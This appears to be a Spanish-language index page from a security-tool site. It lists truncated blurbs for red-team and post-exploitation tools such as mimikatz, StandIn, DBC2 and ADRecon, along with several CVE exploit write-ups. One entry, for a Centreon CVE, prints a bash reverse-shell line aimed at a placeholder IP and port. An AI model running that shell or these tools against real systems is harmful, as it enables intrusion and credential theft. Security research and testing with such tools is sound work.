FFM

Modo de Lucha por la Libertad FFM FFM es un arnés de hacking que puedes usar durante la fase de post-explotación de un compromiso de red team. La idea de la herramienta se derivó de una conferencia de 2007 de @thegrugq. Se presentó en SSTIC 2018 video y la presentación de diapositivas adjunta est...

rpef

Router Post-Exploitation Framework Actualmente, el framework incluye una serie de módulos de imagen de firmware: root@kitploit: 'Verificado' - Este módulo está confirmado para funcionar y es estable. 'No verificado' - Se cree que este módulo funciona o debería funcionar con poco esfuerzo adiciona...

SharpShares

SharpShares Ensamblado multihilo en C .NET para enumerar recursos compartidos de red accesibles en un dominio Basado en el proyecto djhohnstein's SharpShares root@kitploit: .\SharpShares.exe help Usage: SharpShares.exe /threads:50 /ldap:servers /ou:"OU=Special Servers,DC=example,DC=local"...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by...

react2shell-scanner

react2shell-scanner A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components. For technical details on the vulnerability and detection methodology, see our blog post:...

EUVD-2026-76953

The User Registration & Membership WordPress plugin before 5.2.8 does not validate the destination of a post-login redirect before redirecting, allowing unauthenticated attackers to redirect visitors to an arbitrary external URL, which can be abused for phishing...

hooky

hooky Este repositorio es un submódulo para https://github.com/markuta/CVE-2024-32002, que contiene un simple hook ubicado en y/hooks/post-checkout para abrir la calculadora en sistemas macOS: root@kitploit: open -a Calculator.app Puedes encontrar más información sobre la vulnerabilidad aquí y aq...

ghauri

Like Ghauri, consider supporting the developer...

superpowers-evals

Superpowers Evals Laboratorio de evaluación comportamental para superpowers. Quorum impulsa CLIs reales de agentes de codificación Claude, Codex, Antigravity, Gemini, Kimi, OpenCode, Pi y Copilot a través de un agente de control de calidad Gauntlet y los califica según los criterios de aceptación...

StandIn

StandIn StandIn es un pequeño conjunto de herramientas para la post-explotación de AD. StandIn surgió porque recientemente en xforcered necesitábamos una solución nativa .NET para realizar delegación restringida basada en recursos. Sin embargo, StandIn se expandió rápidamente para incluir varias...

mimikatz

mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. root@kitploit:...

postenum

Postenum facilita la vida a los profesionales de seguridad al automatizar el proceso de recopilación de información crítica del sistema después de obtener un punto de apoyo. Ayuda a detectar rápidamente configuraciones incorrectas y oportunidades de escalada de privilegios, agilizando el camino...

CVE-2025-25062

CVE-2025-25062 Descripción Uso Ejemplo Cronología Descripción Existe una vulnerabilidad de Cross-Site Scripting XSS almacenado en la página de edición de entradas de Backdrop CMS 1.29.2. Este script encadena la vulnerabilidad con una carga útil CSRF para lograr una escalada de privilegios desde e...

Instagram-Crawler

Instagram-Crawler No API. Rastreo de publicaciones foto, likes, comentarios, fecha ... por nombre de usuario, hashtags Instalación 1. Asegúrate de tener instalado el navegador Chrome. 2. Descarga chromedriver y colócalo en la carpeta driver: ./driver/chromedriver 3. Instala los requisitos pip...

Outpacket

📦 Outpacket Tired of impacket? This cheatsheet maps common impacket workflows to their modern alternatives Index Auth Quick Reference 1. Remote Execution WMI Exec · wmiexec.py DCOM Exec · dcomexec.py Service-Based Exec · smbexec.py · psexec.py Scheduled Task Exec · atexec.py Bulk Execution ·...

ADRecon

Descargar desde https://github.com/adrecon/ADRecon ADRecon: Active Directory Recon ADRecon es una herramienta que extrae y combina varios artefactos como se destaca a continuación de un entorno de AD. La información se puede presentar en un informe de Microsoft Excel especialmente formateado que...

DBC2

DBC2 ÚLTIMA/VERSIÓN ACTUAL: 0.2.6 Autor: Arno0x0x - @Arno0x0x DBC2 DropboxC2 es una herramienta modular de post-explotación, compuesta por un agente que se ejecuta en la máquina de la víctima, un controlador que se ejecuta en cualquier máquina, módulos de PowerShell y servidores de Dropbox como...

CVE-2023-43284

CVE-2023-43284 DLink Model DIR-846 Authenticated Remote Code Execution. This flaw abuse QoS POST parameter in the router to exploit an Authenticated Remote Code Execution. Doesn't require QoS be enabled! root@kitploit: -h, --help show this help message and exit -x , --command Command to be execut...

profilehound

root@kitploit: / \ / / / / / / / / / // / / / // / / / // / / / / / / / / / / / // / / / / / / // / // / / / / // / // // // ///// ///,// //,/ ProfileHound ProfileHound is a post-escalation tool to help find and achieve red-teaming objectives by locating domain user profiles on machines...

CVE-2024-40498

CVE-2024-40498 Aplicación afectada online-shopping-system-advanced 1.0 https://github.com/PuneethReddyHC/online-shopping-system-advanced Descripción El archivo register.php gestiona el registro de usuarios. En la línea 117, los parámetros POST "$address1" and $address2" no están sanitizados, a...